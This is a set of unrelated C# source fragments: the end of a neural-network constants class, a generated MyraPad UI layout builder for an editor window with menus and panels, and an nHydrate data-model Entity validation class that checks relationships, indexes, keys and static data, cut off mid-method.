public const int StartFrom = 1;
public const int Inputs = 500;
public const int Outputs = 10;
public const int HiddenNeuron1 = 5;
public const int EvalHowMany = 1200;
public const int EvalStartFrom = 1200;
}
}
}
| |
/* Generated by MyraPad at 2/24/2021 9:11:18 AM */
using Myra;
using Myra.Graphics2D;
using Myra.Graphics2D.TextureAtlases;
using Myra.Graphics2D.UI;
using Myra.Graphics2D.Brushes;
using Myra.Graphics2D.UI.Properties;
#if MONOGAME || FNA
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
#elif STRIDE
using Stride.Core.Mathematics;
#else
using System.Drawing;
using System.Numerics;
#endif
namespace MyraPad.UI
{
partial class StudioWidget: VerticalStackPanel
{
private void BuildUI()
{
_menuFileNew = new MenuItem();
_menuFileNew.Text = "&New";
_menuFileNew.ShortcutText = "Ctrl+N";
_menuFileNew.Id = "_menuFileNew";
_menuFileOpen = new MenuItem();
_menuFileOpen.Text = "&Open";
_menuFileOpen.ShortcutText = "Ctrl+O";
_menuFileOpen.Id = "_menuFileOpen";
_menuFileReload = new MenuItem();
_menuFileReload.Text = "&Reload";
_menuFileReload.ShortcutText = "Ctrl+R";
_menuFileReload.Id = "_menuFileReload";
_menuFileSave = new MenuItem();
_menuFileSave.Text = "&Save";
_menuFileSave.ShortcutText = "Ctrl+S";
_menuFileSave.Id = "_menuFileSave";
_menuFileSaveAs = new MenuItem();
_menuFileSaveAs.Text = "Save &As...";
_menuFileSaveAs.Id = "_menuFileSaveAs";
_menuFileExportToCS = new MenuItem();
_menuFileExportToCS.Text = "&Export To C#...";
_menuFileExportToCS.ShortcutText = "Ctrl+E";
_menuFileExportToCS.Id = "_menuFileExportToCS";
var menuSeparator1 = new MenuSeparator();
_menuFileLoadStylesheet = new MenuItem();
_menuFileLoadStylesheet.Text = "&Load Stylesheet";
_menuFileLoadStylesheet.Id = "_menuFileLoadStylesheet";
_menuFileResetStylesheet = new MenuItem();
_menuFileResetStylesheet.Text = "Rese&t Stylesheet";
_menuFileResetStylesheet.Id = "_menuFileResetStylesheet";
var menuSeparator2 = new MenuSeparator();
_menuFileDebugOptions = new MenuItem();
_menuFileDebugOptions.Text = "&UI Debug Options";
_menuFileDebugOptions.Id = "_menuFileDebugOptions";
var menuSeparator3 = new MenuSeparator();
_menuFileQuit = new MenuItem();
_menuFileQuit.Text = "&Quit";
_menuFileQuit.ShortcutText = "Ctrl+Q";
_menuFileQuit.Id = "_menuFileQuit";
_menuFile = new MenuItem();
_menuFile.Text = "&File";
_menuFile.Id = "_menuFile";
_menuFile.Items.Add(_menuFileNew);
_menuFile.Items.Add(_menuFileOpen);
_menuFile.Items.Add(_menuFileReload);
_menuFile.Items.Add(_menuFileSave);
_menuFile.Items.Add(_menuFileSaveAs);
_menuFile.Items.Add(_menuFileExportToCS);
_menuFile.Items.Add(menuSeparator1);
_menuFile.Items.Add(_menuFileLoadStylesheet);
_menuFile.Items.Add(_menuFileResetStylesheet);
_menuFile.Items.Add(menuSeparator2);
_menuFile.Items.Add(_menuFileDebugOptions);
_menuFile.Items.Add(menuSeparator3);
_menuFile.Items.Add(_menuFileQuit);
_menuItemSelectAll = new MenuItem();
_menuItemSelectAll.Text = "Select &All";
_menuItemSelectAll.ShortcutText = "Ctrl+A";
_menuItemSelectAll.Id = "_menuItemSelectAll";
_menuItemCopy = new MenuItem();
_menuItemCopy.Text = "&Copy";
_menuItemCopy.ShortcutText = "Ctrl+Insert, Ctrl+C";
_menuItemCopy.Id = "_menuItemCopy";
_menuItemPaste = new MenuItem();
_menuItemPaste.Text = "&Paste";
_menuItemPaste.ShortcutText = "Shift+Insert, Ctrl+V";
_menuItemPaste.Id = "_menuItemPaste";
_menuItemCut = new MenuItem();
_menuItemCut.Text = "Cu&t";
_menuItemCut.ShortcutText = "Ctrl+X";
_menuItemCut.Id = "_menuItemCut";
_menuItemDuplicate = new MenuItem();
_menuItemDuplicate.Text = "Duplicate";
_menuItemDuplicate.ShortcutText = "Ctrl+D";
_menuItemDuplicate.Id = "_menuItemDuplicate";
var menuSeparator4 = new MenuSeparator();
_menuEditFormatSource = new MenuItem();
_menuEditFormatSource.Text = "&Format Source";
_menuEditFormatSource.ShortcutText = "Ctrl+F";
_menuEditFormatSource.Id = "_menuEditFormatSource";
var menuItem1 = new MenuItem();
menuItem1.Text = "&Edit";
menuItem1.Items.Add(_menuItemSelectAll);
menuItem1.Items.Add(_menuItemCopy);
menuItem1.Items.Add(_menuItemPaste);
menuItem1.Items.Add(_menuItemCut);
menuItem1.Items.Add(_menuItemDuplicate);
menuItem1.Items.Add(menuSeparator4);
menuItem1.Items.Add(_menuEditFormatSource);
_menuHelpAbout = new MenuItem();
_menuHelpAbout.Text = "&About";
_menuHelpAbout.Id = "_menuHelpAbout";
var menuItem2 = new MenuItem();
menuItem2.Text = "&Help";
menuItem2.Items.Add(_menuHelpAbout);
_mainMenu = new HorizontalMenu();
_mainMenu.Id = "_mainMenu";
_mainMenu.Items.Add(_menuFile);
_mainMenu.Items.Add(menuItem1);
_mainMenu.Items.Add(menuItem2);
var horizontalSeparator1 = new HorizontalSeparator();
_projectHolder = new Panel();
_projectHolder.Id = "_projectHolder";
_textSource = new TextBox();
_textSource.Multiline = true;
_textSource.Wrap = true;
_textSource.VerticalAlignment = Myra.Graphics2D.UI.VerticalAlignment.Stretch;
_textSource.GridRow = 2;
_textSource.Id = "_textSource";
var scrollViewer1 = new ScrollViewer();
scrollViewer1.Content = _textSource;
_leftSplitPane = new VerticalSplitPane();
_leftSplitPane.Id = "_leftSplitPane";
_leftSplitPane.Widgets.Add(_projectHolder);
_leftSplitPane.Widgets.Add(scrollViewer1);
var horizontalSeparator2 = new HorizontalSeparator();
_textStatus = new Label();
_textStatus.Text = "Reloading...";
_textStatus.Id = "_textStatus";
var verticalStackPanel1 = new VerticalStackPanel();
verticalStackPanel1.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Fill,
});
verticalStackPanel1.Widgets.Add(_leftSplitPane);
verticalStackPanel1.Widgets.Add(horizontalSeparator2);
verticalStackPanel1.Widgets.Add(_textStatus);
var label1 = new Label();
label1.Text = "Filter:";
_textBoxFilter = new TextBox();
_textBoxFilter.Id = "_textBoxFilter";
var horizontalStackPanel1 = new HorizontalStackPanel();
horizontalStackPanel1.Spacing = 8;
horizontalStackPanel1.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Auto,
});
horizontalStackPanel1.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Fill,
});
horizontalStackPanel1.Widgets.Add(label1);
horizontalStackPanel1.Widgets.Add(_textBoxFilter);
var horizontalSeparator3 = new HorizontalSeparator();
_propertyGrid = new PropertyGrid();
_propertyGrid.Id = "_propertyGrid";
_propertyGridPane = new ScrollViewer();
_propertyGridPane.Id = "_propertyGridPane";
_propertyGridPane.Content = _propertyGrid;
var horizontalSeparator4 = new HorizontalSeparator();
_textLocation = new Label();
_textLocation.Text = "Line: 1, Column: 2, Indent: 3";
_textLocation.Id = "_textLocation";
var verticalStackPanel2 = new VerticalStackPanel();
verticalStackPanel2.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Auto,
});
verticalStackPanel2.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Auto,
});
verticalStackPanel2.Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Fill,
});
verticalStackPanel2.Background = new SolidBrush("#000000FF");
verticalStackPanel2.Widgets.Add(horizontalStackPanel1);
verticalStackPanel2.Widgets.Add(horizontalSeparator3);
verticalStackPanel2.Widgets.Add(_propertyGridPane);
verticalStackPanel2.Widgets.Add(horizontalSeparator4);
verticalStackPanel2.Widgets.Add(_textLocation);
_topSplitPane = new HorizontalSplitPane();
_topSplitPane.Id = "_topSplitPane";
_topSplitPane.Widgets.Add(verticalStackPanel1);
_topSplitPane.Widgets.Add(verticalStackPanel2);
Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Auto,
});
Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Auto,
});
Proportions.Add(new Proportion
{
Type = Myra.Graphics2D.UI.ProportionType.Fill,
});
Widgets.Add(_mainMenu);
Widgets.Add(horizontalSeparator1);
Widgets.Add(_topSplitPane);
}
public MenuItem _menuFileNew;
public MenuItem _menuFileOpen;
public MenuItem _menuFileReload;
public MenuItem _menuFileSave;
public MenuItem _menuFileSaveAs;
public MenuItem _menuFileExportToCS;
public MenuItem _menuFileLoadStylesheet;
public MenuItem _menuFileResetStylesheet;
public MenuItem _menuFileDebugOptions;
public MenuItem _menuFileQuit;
public MenuItem _menuFile;
public MenuItem _menuItemSelectAll;
public MenuItem _menuItemCopy;
public MenuItem _menuItemPaste;
public MenuItem _menuItemCut;
public MenuItem _menuItemDuplicate;
public MenuItem _menuEditFormatSource;
public MenuItem _menuHelpAbout;
public HorizontalMenu _mainMenu;
public Panel _projectHolder;
public TextBox _textSource;
public VerticalSplitPane _leftSplitPane;
public Label _textStatus;
public TextBox _textBoxFilter;
public PropertyGrid _propertyGrid;
public ScrollViewer _propertyGridPane;
public Label _textLocation;
public HorizontalSplitPane _topSplitPane;
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.VisualStudio.Modeling.Validation;
using System.Collections;
using nHydrate.Generator.Common.Util;
namespace nHydrate.Dsl
{
[ValidationState(ValidationState.Enabled)]
partial class Entity
{
#region Dirty
[System.ComponentModel.Browsable(false)]
public bool IsDirty
{
get { return _isDirty || this.Fields.IsDirty() || this.Indexes.IsDirty(); }
set
{
_isDirty = value;
if (!value)
{
this.Fields.ForEach(x => x.IsDirty = false);
this.Indexes.ForEach(x => x.IsDirty = false);
}
}
}
private bool _isDirty = false;
#endregion
[ValidationMethod(ValidationCategories.Open | ValidationCategories.Save | ValidationCategories.Menu | ValidationCategories.Custom | ValidationCategories.Load)]
public void Validate(ValidationContext context)
{
//if (!this.IsDirty) return;
System.Windows.Forms.Application.DoEvents();
#region Cache this. It is expensive
var heirList = this.GetTableHierarchy();
var relationshipList = this.RelationshipList.ToList();
var relationManyMany = relationshipList.Where(x => x.IsManyToMany).ToList();
var relationFieldMap = new Dictionary<EntityHasEntities, IEnumerable<RelationField>>();
//Cache the field map minus relations with missing fields (error condition)
foreach (var relation in relationshipList)
{
var mapList = relation.FieldMapList();
if (mapList.Count(x => x.GetSourceField(relation) == null || x.GetTargetField(relation) == null) == 0)
relationFieldMap.Add(relation, mapList);
else
relationFieldMap.Add(relation, new List<RelationField>());
}
#endregion
#region Check that non-key relationships have a unique index on fields
foreach (var relation in relationshipList)
{
if (!relation.IsPrimaryKeyRelation())
{
foreach (var columnRelationship in relationFieldMap[relation])
{
var parentColumn = columnRelationship.GetSourceField(relation);
if (!parentColumn.IsUnique)
context.LogError(string.Format(ValidationHelper.ErrorTextTableColumnNonPrimaryRelationNotUnique, parentColumn.DatabaseName, this.Name), string.Empty, this);
else
context.LogWarning(string.Format(ValidationHelper.WarningTextTableColumnNonPrimaryRelationNotUnique, parentColumn.DatabaseName, this.Name), string.Empty, this);
}
}
}
#endregion
#region Check that object has at least one generated column
if (!this.GeneratedColumns.Any())
context.LogError(ValidationHelper.ErrorTextColumnsRequired, string.Empty, this);
#endregion
#region Clean up bogus references (in case this happened)
//Verify that no column has same name as container
foreach (var field in this.Fields)
{
if (field.PascalName.Match(this.PascalName))
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableColumnNameMatch, field.Name, this.Name), string.Empty, this);
}
}
//Verify relationships
foreach (var relation in relationshipList)
{
if (relation != null)
{
foreach (var relationField in relationFieldMap[relation])
{
var column1 = relationField.GetSourceField(relation);
var column2 = relationField.GetTargetField(relation);
if (column1 == null || column2 == null)
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationshipMustHaveFields, relation.ParentEntity.Name, relation.ChildEntity.Name), string.Empty, this);
}
else if (column1.DataType != column2.DataType)
{
context.LogError(ValidationHelper.ErrorTextRelationshipTypeMismatch + " (" + column1.ToString() + " -> " + column2.ToString() + ")", string.Empty, this);
}
}
if (!relationFieldMap[relation].Any())
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationshipMustHaveFields, relation.ParentEntity.Name, relation.ChildEntity.Name), string.Empty, this);
}
}
}
//Verify that inheritance is setup correctly
if (!this.IsValidInheritance)
{
context.LogError(string.Format(ValidationHelper.ErrorTextInvalidInheritance, this.Name), string.Empty, this);
}
#endregion
#region Check that table does not have same name as project
if (this.PascalName == this.nHydrateModel.ProjectName)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableProjectSameName, this.PascalName), string.Empty, this);
}
#endregion
#region Check for classes that will confict with generated classes
var classExtensions = new[]
{
"collection", "enumerator", "query", "pagingfielditem", "paging", "primarykey", "selectall", "pagedselect", "selectbypks",
"selectbycreateddaterange", "selectbymodifieddaterange", "selectbysearch", "beforechangeeventargs", "afterchangeeventargs"
};
foreach (var ending in classExtensions)
{
if (this.PascalName.ToLower().EndsWith(ending))
context.LogError(string.Format(ValidationHelper.ErrorTextNameConflictsWithGeneratedCode, this.Name), string.Empty, this);
}
#endregion
#region Check for inherit hierarchy that all tables are modifiable or not modifiable
//If this table is Mutable then make sure it is NOT derived from an Immutable table
if (!this.Immutable)
{
var immutableCount = 0;
Entity immutableTable = null;
foreach (var h in heirList)
{
if (h.Immutable)
{
if (immutableTable == null) immutableTable = h;
immutableCount++;
}
}
//If the counts are different then show errors
if (immutableCount > 0)
{
context.LogError(string.Format(ValidationHelper.ErrorTextMutableInherit, this.Name, immutableTable.Name), string.Empty, this);
}
}
#endregion
#region Type Tables must be immutable
if (this.TypedEntity != TypedEntityConstants.None & !this.Immutable)
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableIsMutable, this.Name), string.Empty, this);
#endregion
#region Type Tables must have specific columns and data
if (this.TypedEntity != TypedEntityConstants.None && (this.PrimaryKeyFields.Count > 0))
{
//Must have one PK that is integer type
if ((this.PrimaryKeyFields.Count > 1) || !this.PrimaryKeyFields.First().DataType.IsIntegerType())
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTablePrimaryKey, this.Name), string.Empty, this);
}
//Must have static data
if (this.StaticDatum.Count == 0)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableNoData, this.CodeFacade), string.Empty, this);
}
//Must have a "Name" or "Description" field
var typeTableTextField = this.GeneratedColumns.FirstOrDefault(x => x.Name.ToLower() == "name");
if (typeTableTextField == null) typeTableTextField = this.GeneratedColumns.FirstOrDefault(x => x.Name.ToLower() == "description");
if (typeTableTextField == null)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableTextField, this.Name), string.Empty, this);
}
else if (this.StaticDatum.Count > 0)
{
//Verify that type tables have data
foreach (var row in this.StaticDatum.ToRows())
{
//Primary key must be set
var cellValue = row[this.PrimaryKeyFields.First().Id];
if (cellValue == null)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableStaticDataEmpty, this.Name), string.Empty, this);
}
else if (string.IsNullOrEmpty(cellValue))
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableStaticDataEmpty, this.Name), string.Empty, this);
}
//Enum name must be set
cellValue = row[typeTableTextField.Id];
if (cellValue == null)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableStaticDataEmpty, this.Name), string.Empty, this);
}
else if (string.IsNullOrEmpty(cellValue))
{
context.LogError(string.Format(ValidationHelper.ErrorTextTypeTableStaticDataEmpty, this.Name), string.Empty, this);
}
}
}
}
//Verify that the static data is not duplicated
if (this.StaticDatum.HasDuplicates(this))
{
context.LogError(string.Format(ValidationHelper.ErrorTextDuplicateStaticData, this.Name), string.Empty, this);
}
#endregion
#region Self-ref table cannot map child column to PK field
foreach (var relation in relationshipList)
{
var parentTable = relation.SourceEntity;
var childTable = relation.TargetEntity;
if (parentTable == childTable)
{
if (string.IsNullOrEmpty(relation.RoleName))
{
context.LogError(string.Format(ValidationHelper.ErrorTextSelfRefMustHaveRole, this.Name), string.Empty, this);
}
else
{
foreach (var columnRelationShip in relationFieldMap[relation])
{
if (this.PrimaryKeyFields.Contains(columnRelationShip.GetTargetField(relation)))
{
context.LogError(string.Format(ValidationHelper.ErrorTextSelfRefChildColumnPK, this.Name), string.Empty, this);
}
}
}
}
}
#endregion
#region There can be only 1 self reference per table
if (this.AllRelationships.Count(x => x.TargetEntity == x.SourceEntity) > 1)
{
context.LogError(string.Format(ValidationHelper.ErrorTextSelfRefOnlyOne, this.Name), string.Empty, this);
}
#endregion
#region Verify Relations
var relationKeyList = new List<string>();
foreach (var relation in relationshipList)
{
var key = relation.RoleName;
var parentTable = relation.SourceEntity;
var childTable = relation.TargetEntity;
var foreignKeyMap = new List<string>();
var columnList = new List<string>();
var relationKeyMap = string.Empty;
foreach (var columnRelationship in relationFieldMap[relation].OrderBy(x => x.SourceFieldId).ThenBy(x => x.TargetFieldId))
{
var parentColumn = columnRelationship.GetSourceField(relation);
var childColumn = columnRelationship.GetTargetField(relation);
if (!string.IsNullOrEmpty(key)) key += ", ";
key += parentTable.Name + "." + childColumn.Name + " -> " + childTable.Name + "." + parentColumn.Name;
if ((parentColumn.Identity == IdentityTypeConstants.Database) &&
(childColumn.Identity == IdentityTypeConstants.Database))
{
context.LogError(string.Format(ValidationHelper.ErrorTextChildTableRelationIdentity, childTable.Name, parentTable.Name), string.Empty, this);
}
relationKeyMap += parentColumn.Name + "|" + childTable.Name + "|" + childColumn.Name;
//Verify that field name does not match foreign table name
if (childColumn.PascalName == parentTable.PascalName)
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationFieldNotMatchAssociatedTable, parentTable.Name, childTable.Name), string.Empty, this);
}
//Verify that a relation does not have duplicate column links
if (columnList.Contains(parentColumn.Name + "|" + childColumn.Name))
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationFieldDuplicated, parentTable.Name, childTable.Name), string.Empty, relation);
}
else
columnList.Add(parentColumn.Name + "|" + childColumn.Name);
//Verify the OnDelete action
if (relation.DeleteAction == DeleteActionConstants.SetNull && !childColumn.Nullable)
{
//If SetNull then child fields must be nullable
context.LogError(string.Format(ValidationHelper.ErrorTextRelationChildNotNullable, parentTable.Name, childTable.Name), string.Empty, relation);
}
}
if (foreignKeyMap.Contains(relationKeyMap))
{
context.LogWarning(string.Format(ValidationHelper.ErrorTextMultiFieldRelationsMapDifferentFields, parentTable.Name, childTable.Name), string.Empty, this);
}
foreignKeyMap.Add(relationKeyMap);
if (!relationFieldMap[relation].Any())
{
System.Diagnostics.Debug.Write(string.Empty);
}
//Role names cannot start with number
if (relation.PascalRoleName.Length > 0)
{
var roleFirstChar = relation.PascalRoleName.First();
if ("0123456789".Contains(roleFirstChar))
{
context.LogError(string.Format(ValidationHelper.ErrorTextRoleNoStartNumber, key), string.Empty, this);
}
}
//Verify that relations are not duplicated (T1.C1 -> T2.C2)
if (!relationKeyList.Contains(relation.PascalRoleName + "|" + key))
{
relationKeyList.Add(relation.PascalRoleName + "|" + key);
}
else
{
context.LogError(string.Format(ValidationHelper.ErrorTextDuplicateRelation, key, parentTable.Name, childTable.Name), string.Empty, this);
}
}
//Verify M:N relations have same role name on both sides
foreach (var relation in relationManyMany)
{
var relation2 = relation.GetAssociativeOtherRelation();
if (relation2 == null)
{
//TODO
}
else if (relation.RoleName != relation.GetAssociativeOtherRelation().RoleName)
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationM_NRoleMismatch, relation.TargetEntity.Name), string.Empty, this);
}
}
//Verify M:N relations do not map to same property names
//This can happen if 2 M:N tables are defined between the same two tables...(why people do this I do not know)
relationKeyList.Clear();
foreach (var relation in relationManyMany)
{
var relation2 = relation.GetAssociativeOtherRelation();
if (relation2 == null)
{
//TODO
}
else
{
var mappedName = relation.RoleName + "|" + relation.GetSecondaryAssociativeTable().Name;
if (relationKeyList.Contains(mappedName))
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationM_NNameDuplication, this.Name, relation.GetSecondaryAssociativeTable().Name), string.Empty, this);
}
else
{
relationKeyList.Add(mappedName);
}
}
}
{
//Verify that if related to an associative table I do not also have a direct link
var relatedTables = new List<string>();
foreach (var relation in relationManyMany)
{
relatedTables.Add(relation.GetSecondaryAssociativeTable().PascalName + relation.RoleName);
}
//Now verify that I have no relation to them
var invalid = false;
foreach (var relation in relationshipList)
{
if (!relation.IsManyToMany)
{
if (relatedTables.Contains(relation.TargetEntity.PascalName + relation.RoleName))
{
invalid = true;
}
}
}
if (invalid)
context.LogError(string.Format(ValidationHelper.ErrorTextRelationCausesNameConflict, this.Name, relatedTables.First()), string.Empty, this);
}
//Only 1 relation can exist from A->B on the same columns
{
var hashList = new List<string>();
var rList = relationshipList.ToList();
foreach (var r in rList)
{
if (!hashList.Contains(r.LinkHash))
hashList.Add(r.LinkHash);
}
if (rList.Count != hashList.Count)
context.LogError(string.Format(ValidationHelper.ErrorTextRelationDuplicate, this.Name), string.Empty, this);
}
//Relation fields cannot be duplicated with a relation. All source fields must be unique and all target fields must be unique
foreach (var relation in relationshipList.Where(x => x != null))
{
var inError = false;
var colList1 = new List<Guid>();
var colList2 = new List<Guid>();
foreach (var columnRelationship in relationFieldMap[relation].OrderBy(x => x.SourceFieldId).ThenBy(x => x.TargetFieldId))
{
if (colList1.Contains(columnRelationship.SourceFieldId)) inError = true;
else colList1.Add(columnRelationship.SourceFieldId);
if (colList2.Contains(columnRelationship.TargetFieldId)) inError = true;
else colList2.Add(columnRelationship.TargetFieldId);
}
if (inError)
{
context.LogError(string.Format(ValidationHelper.ErrorTextRelationNeedUniqueFields, relation.ParentEntity.Name, relation.ChildEntity.Name), string.Empty, this);
}
}
#endregion
#region Associative Tables
if (this.IsAssociative)
{
var count = 0;
foreach (var relation in this.nHydrateModel.AllRelations)
{
if (relation.TargetEntity == this)
{
count++;
}
}
if (count != 2)
{
context.LogError(string.Format(ValidationHelper.ErrorTextAssociativeTableMustHave2Relations, this.Name, count), string.Empty, this);
}
}
#endregion
#region There can be only 1 Identity per table
var identityCount = this.GeneratedColumns.Count(x => x.Identity == IdentityTypeConstants.Database);
if (identityCount > 1)
{
//If there is an identity column, it can be the only PK
context.LogError(string.Format(ValidationHelper.ErrorTextIdentityOnlyOnePerTable, this.Name), string.Empty, this);
}
#endregion
#region Identity PK can be only PK
var pkIdentityCount = this.PrimaryKeyFields.Count(x => x.Identity != IdentityTypeConstants.None);
if ((pkIdentityCount > 0) && (this.PrimaryKeyFields.Count != pkIdentityCount))
{
//If there is an identity column, it can be the only PK
context.LogWarning(string.Format(ValidationHelper.ErrorTextIdentityPKNotOnlyKey, this.Name), string.Empty, this);
}
#endregion
#region Associative table cannot be immutable
if (this.IsAssociative & this.Immutable)
{
context.LogError(ValidationHelper.ErrorTextAssociativeTableNotImmutable, string.Empty, this);
}
#endregion
#region Tables must have a non-identity column
if (!this.Immutable)
{
if (this.GeneratedColumns.Count(x => x.Identity == IdentityTypeConstants.Database) == this.GeneratedColumns.Count())
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableNotHave1IdentityOnly, this.Name), string.Empty, this);
}
}
#endregion
#region Associative must have non-overlapping PK column
if (this.IsAssociative)
{
var rlist = this.GetRelationsWhereChild().ToList();
if (rlist.Count == 2)
{
var r1 = rlist.First();
var r2 = rlist.Last();
if (this.PrimaryKeyFields.Count != r1.GetSecondaryAssociativeTable().PrimaryKeyFields.Count + r2.GetSecondaryAssociativeTable().PrimaryKeyFields.Count)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableAssociativeNeedsNonOverlappingColumns, this.Name), string.Empty, this);
}
}
if (this.Fields.Count(x => !x.IsPrimaryKey) > 0)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableAssociativeNeedsOnlyPK, this.Name), string.Empty, this);
}
}
#endregion
#region Verify Static Data
if (!this.StaticDatum.IsDataValid(this))
context.LogError(string.Format(ValidationHelper.ErrorTextTableBadStaticData, this.Name), string.Empty, this);
#endregion
#region Verify Indexes
//Check for missing mapped index columns
foreach (var index in this.Indexes)
{
if (index.IndexColumns.Count == 0)
{
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexInvalid, this.Name), string.Empty, this);
}
else
{
foreach (var ic in index.IndexColumns.ToList())
{
if (ic.GetField() == null)
{
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexInvalid, this.Name), string.Empty, this);
}
else if (ic.Field != null && ic.Field.DataType == DataTypeConstants.VarChar && ((ic.Field.Length == 0) || (ic.Field.Length > 900)))
{
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexInvalidLength, this.Name + "." + ic.Field.Name), string.Empty, this);
}
else if (ic.Field != null && ic.Field.DataType == DataTypeConstants.NVarChar && ((ic.Field.Length == 0) || (ic.Field.Length > 450)))
{
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexInvalidLength, this.Name + "." + ic.Field.Name), string.Empty, this);
}
}
}
}
//Check that there are no duplicate indexes
var mappedOrderedIndexes = new List<string>();
var mappedUnorderedIndexes = new List<string>();
foreach (var index in this.Indexes)
{
var indexKey = string.Empty;
var columns = index.IndexColumns.Where(x => x.GetField() != null);
//Ordered
foreach (var ic in columns.OrderBy(x => x.GetField().Name))
{
var field = ic.GetField();
indexKey += field.Id + ic.Ascending.ToString() + "|";
}
mappedOrderedIndexes.Add(indexKey);
//Unordered (by name..just in index order)
indexKey = string.Empty;
foreach (var ic in columns.OrderBy(x => x.SortOrder))
{
var field = ic.GetField();
indexKey += field.Id + ic.Ascending.ToString() + "|";
}
mappedUnorderedIndexes.Add(indexKey);
}
//Ordered duplicate is a warning
if (mappedOrderedIndexes.Count != mappedOrderedIndexes.Distinct().Count())
context.LogWarning(string.Format(ValidationHelper.ErrorTextEntityIndexIsPossibleDuplicate, this.Name), string.Empty, this);
//Unordered is an error since this is a REAL duplicate
if (mappedUnorderedIndexes.Count != mappedUnorderedIndexes.Distinct().Count())
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexIsDuplicate, this.Name), string.Empty, this);
//Only one clustered allowed
if (this.Indexes.Count(x => x.Clustered) > 1)
{
context.LogError(string.Format(ValidationHelper.ErrorTextEntityIndexMultipleClustered, this.Name), string.Empty, this);
}
#endregion
#region Associative Table
//If no generated CRUD cannot have auditing on Associative
if (this.IsAssociative && (this.AllowCreateAudit || this.AllowModifyAudit || this.AllowTimestamp))
{
context.LogError(string.Format(ValidationHelper.ErrorTextTableAssociativeNoCRUDAudit, this.Name), string.Empty, this);
}
#endregion
#region Tenant
if (this.IsTenant && this.TypedEntity == TypedEntityConstants.DatabaseTable)
{
context.LogError(string.Format(ValidationHelper.ErrorTextTenantTypeTable, this.Name), string.Empty, this);
}
if (this.IsTenant && this.Fields.Any(x => x.Name.ToLower() == this.nHydrateModel.TenantColumnName.ToLower()))
{
context.LogError(string.Format(ValidationHelper.ErrorTextTenantTypeTableTenantColumnMatch, this.Name, this.nHydrateModel.TenantColumnName), string.Empty, this);
}
#endregion
#region Warn if GUID is Clustered Key
var fields = this.Indexes.Where(x => x.Clustered).SelectMany(x => x.FieldList).Where(x => x.DataType == DataTypeConstants.UniqueIdentifier).ToList();
if (fields.Any())
{
foreach (var f in fields)
{
context.LogWarning(string.Format(ValidationHelper.ErrorTextClusteredGuid, f.Name, this.Name), string.Empty, this);
}
}
#endregion
#region Warn of defaults on nullable fields
var nullableList = this.FieldList
.ToList()
.Cast<Field>()
.Where<Field>(x => x.Nullable && !string.IsNullOrEmpty(x.Default))
.ToList();
foreach (var field in nullableList)
{
context.LogWarning(string.Format(ValidationHelper.ErrorTextNullableFieldHasDefault, field.Name, this.Name), string.Empty, this);
//If default on nullable that is FK then ERROR
foreach (var r in this.GetRelationsWhereChild())
{
foreach (var q in r.FieldMapList().Where(z => z.TargetFieldId == field.Id))
{
var f = this.FieldList.ToList().Cast<Field>().FirstOrDefault(x => x.Id == q.TargetFieldId);
if (f != null)
context.LogError(string.Format(ValidationHelper.ErrorTextNullableFieldHasDefaultWithRelation, f.Name, this.Name, r.SourceEntity.Name), string.Empty, this);
}
}
}
#endregion
#region DateTime 2008+
foreach (var field in this.FieldList.Where(x => x.DataType == DataTypeConstants.DateTime).ToList())
{
context.LogWarning(string.Format(ValidationHelper.ErrorTextDateTimeDeprecated, field.Name), string.Empty, this);
}
#endregion
}
[ValidationMethod(ValidationCategories.Open | ValidationCategories.Save | ValidationCategories.Menu | ValidationCategories.Custom | ValidationCategories.Load)]
public void ValidateFields(ValidationContext context)
{
var columnList = this.Fields.ToList();
#region Check for duplicate names
var nameList = new Hashtable();
foreach (var column in columnList)
{
var name = column.Name.ToLower();
if (nameList.ContainsKey(name))
context.LogError(string.Format(ValidationHelper.ErrorTextDuplicateName, column.Name), string.Empty, this);
else
nameList.Add(name, string.Empty);
}
#endregion
#region Check for duplicate codefacades
if (context.CurrentViolations.Count == 0)
{
nameList = new Hashtable();
foreach (var column in columnList)
{
var name = column.PascalName.ToLower();
if (nameList.ContainsKey(name))
context.LogError(string.Format(ValidationHelper.ErrorTextDuplicateCodeFacade, column.Name), string.Empty, this);
else
nameList.Add(name, string.Empty);
}
}
#endregion
#region Check for a primary key
var isPrimaryNull = false;
foreach (var column in columnList)
{
if (column.IsPrimaryKey)
{
//hasPrimary = true;
isPrimaryNull |= column.Nullable;
}
}
#endregion
#region Check for field named created,modfied,timestamp as these are taken
foreach (var column in columnList)
{
var name = column.Name.ToLower().Replace("_", string.Empty);
var t = this;
//If there is a CreateAudit then no fields can be named the predefined values
if (name.Match(this.nHydrateModel.CreatedByColumnName.Replace("_", string.Empty)))
